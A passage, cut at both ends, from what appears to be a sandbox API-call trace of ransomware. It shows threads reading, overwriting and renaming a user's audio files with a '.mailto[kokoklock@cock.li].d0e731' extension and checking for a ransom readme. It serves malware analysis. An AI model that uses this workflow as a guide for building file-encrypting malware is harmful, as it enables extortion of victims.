RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.202] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1493fca0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1493fca0*=0x4096, lpOverlapped=0x0) returned 1 [0072.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.202] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0xf745, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.202] WriteFile (in: hFile=0x3c8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1493fcd8, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1493fcd8*=0x20, lpOverlapped=0x0) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x341e7d0*, lpNumberOfBytesWritten=0x1493fcec*=0x8, lpOverlapped=0x0) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x1493fd04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x1493fd04*, lpNumberOfBytesWritten=0x1493fcec*=0x4, lpOverlapped=0x0) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1493fcec*=0x4, lpOverlapped=0x0) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1493fcec*=0x6c, lpOverlapped=0x0) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x341e780*, lpNumberOfBytesWritten=0x1493fcec*=0x20, lpOverlapped=0x0) returned 1 [0072.203] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1493fcec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1493fcec*=0x4, lpOverlapped=0x0) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7d0) returned 1 [0072.203] CloseHandle (hObject=0x3c8) returned 1 [0072.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0072.203] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" [0072.203] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" [0072.203] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.204] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0072.204] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav", dwFileAttributes=0x20) returned 0 [0072.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33ccd70 [0072.204] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0072.204] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0072.204] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0x20 [0072.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e2d0) returned 1 [0072.205] RtlExitUserThread (Status=0x1) Thread: id = 504 os_tid = 0x13a4 [0072.206] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav")) returned 0x20 [0072.206] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav", dwFileAttributes=0x20) returned 1 [0072.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.206] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x149bf8dc | out: lpFileSize=0x149bf8dc*=36173) returned 1 [0072.206] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x8d49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.206] ReadFile (in: hFile=0x3c8, lpBuffer=0x149bf8b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x149bf8b0*, lpNumberOfBytesRead=0x149bf8ac*=0x4, lpOverlapped=0x0) returned 1 [0072.207] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0072.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7d0 [0072.207] NtQuerySystemTime (in: CurrentTime=0x149bf888 | out: CurrentTime=0x149bf888*=132121176301035501) returned 0x0 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x9684ddf [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x1351549d [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x1617d41c [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xfaa170ce [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x4389af1e [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x1cf4cacf [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x1ff74c1d [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xac44e727 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xed5f28 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xd042a5d4 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xd0ea645f [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x28d68a49 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x275a7824 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xac6fd62b [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xb8ddc6fb [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x17a2682a [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x45cc3d58 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xcf621641 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x649cf024 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xfe7ada4c [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x28e6b236 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xa32e728c [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xd4220b52 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xca794da5 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xcc5f6766 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x56a85795 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x5742f0f2 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x59d3a700 [0072.207] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xf59ab0f9 [0072.208] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0xac5f091a [0072.208] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x3e93efa [0072.208] RtlRandom (in: Seed=0x149bf894 | out: Seed=0x149bf894) returned 0x9fa67e9c [0072.220] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.220] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x149bf860, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x149bf860*=0x4096, lpOverlapped=0x0) returned 1 [0072.221] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.221] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.221] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.221] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x149bf860, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x149bf860*=0x4096, lpOverlapped=0x0) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.222] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x8d4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x149bf898, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x149bf898*=0x20, lpOverlapped=0x0) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x341e7f8*, lpNumberOfBytesWritten=0x149bf8ac*=0x8, lpOverlapped=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x149bf8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x149bf8c4*, lpNumberOfBytesWritten=0x149bf8ac*=0x4, lpOverlapped=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x149bf8ac*=0x4, lpOverlapped=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x149bf8ac*=0x6c, lpOverlapped=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e780*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x341e780*, lpNumberOfBytesWritten=0x149bf8ac*=0x20, lpOverlapped=0x0) returned 1 [0072.222] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x149bf8ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x149bf8ac*=0x4, lpOverlapped=0x0) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e780) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.222] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7f8) returned 1 [0072.223] CloseHandle (hObject=0x3c8) returned 1 [0072.223] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33c8f68 [0072.223] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" [0072.223] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" [0072.223] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.223] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.223] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0072.223] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav", dwFileAttributes=0x20) returned 0 [0072.224] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33ccd70 [0072.224] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0072.224] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0072.224] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0x20 [0072.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.224] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e3b0) returned 1 [0072.224] RtlExitUserThread (Status=0x1) Thread: id = 505 os_tid = 0x13a8 [0072.226] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3")) returned 0x20 [0072.226] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3", dwFileAttributes=0x20) returned 1 [0072.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.226] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x14a3faf8 | out: lpFileSize=0x14a3faf8*=17312) returned 1 [0072.226] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x439c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.227] ReadFile (in: hFile=0x3c8, lpBuffer=0x14a3facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x14a3facc*, lpNumberOfBytesRead=0x14a3fac8*=0x4, lpOverlapped=0x0) returned 1 [0072.227] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e870 [0072.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e848 [0072.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0072.227] NtQuerySystemTime (in: CurrentTime=0x14a3faa4 | out: CurrentTime=0x14a3faa4*=132121176301191596) returned 0x0 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x5b88ef5d [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xb61ebe2b [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x4a53c871 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xd18ed57d [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x283a1c9f [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x2bccc081 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xf9b554d5 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xeef40bea [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xad8db6e4 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xa9ac6837 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xb14f5c6d [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x5ad40d64 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x5152cb0d [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xf2f34691 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xf86738ee [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x4e6986b6 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xa923568c [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x3e11a4b1 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xe2c2541 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x5ca6ac95 [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x1c83b48f [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xabe7921f [0072.227] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x7dcc1595 [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xbbc63e44 [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xceed471a [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x586e231d [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x8cc06cfd [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x40ea4008 [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x2c9fd607 [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0xe1a8307b [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x8a9377f2 [0072.228] RtlRandom (in: Seed=0x14a3fab0 | out: Seed=0x14a3fab0) returned 0x3f5e338c [0072.238] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.238] ReadFile (in: hFile=0x3c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x14a3fa7c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x14a3fa7c*=0x4096, lpOverlapped=0x0) returned 1 [0072.239] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e668 [0072.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0072.239] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e898) returned 1 [0072.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0072.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x14a3fa7c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x14a3fa7c*=0x4096, lpOverlapped=0x0) returned 1 [0072.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.240] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x43a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14a3fab4, lpOverlapped=0x0 | out: lpBuffer=0x341e668*, lpNumberOfBytesWritten=0x14a3fab4*=0x20, lpOverlapped=0x0) returned 1 [0072.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0072.240] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x341e7f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x341e7f8*, lpNumberOfBytesWritten=0x14a3fac8*=0x8, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x14a3fae0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x14a3fae0*, lpNumberOfBytesWritten=0x14a3fac8*=0x4, lpOverlapped=0x0) returned 1 [0072.240] WriteFile (in: hFile=0x3c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14a3fac8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, 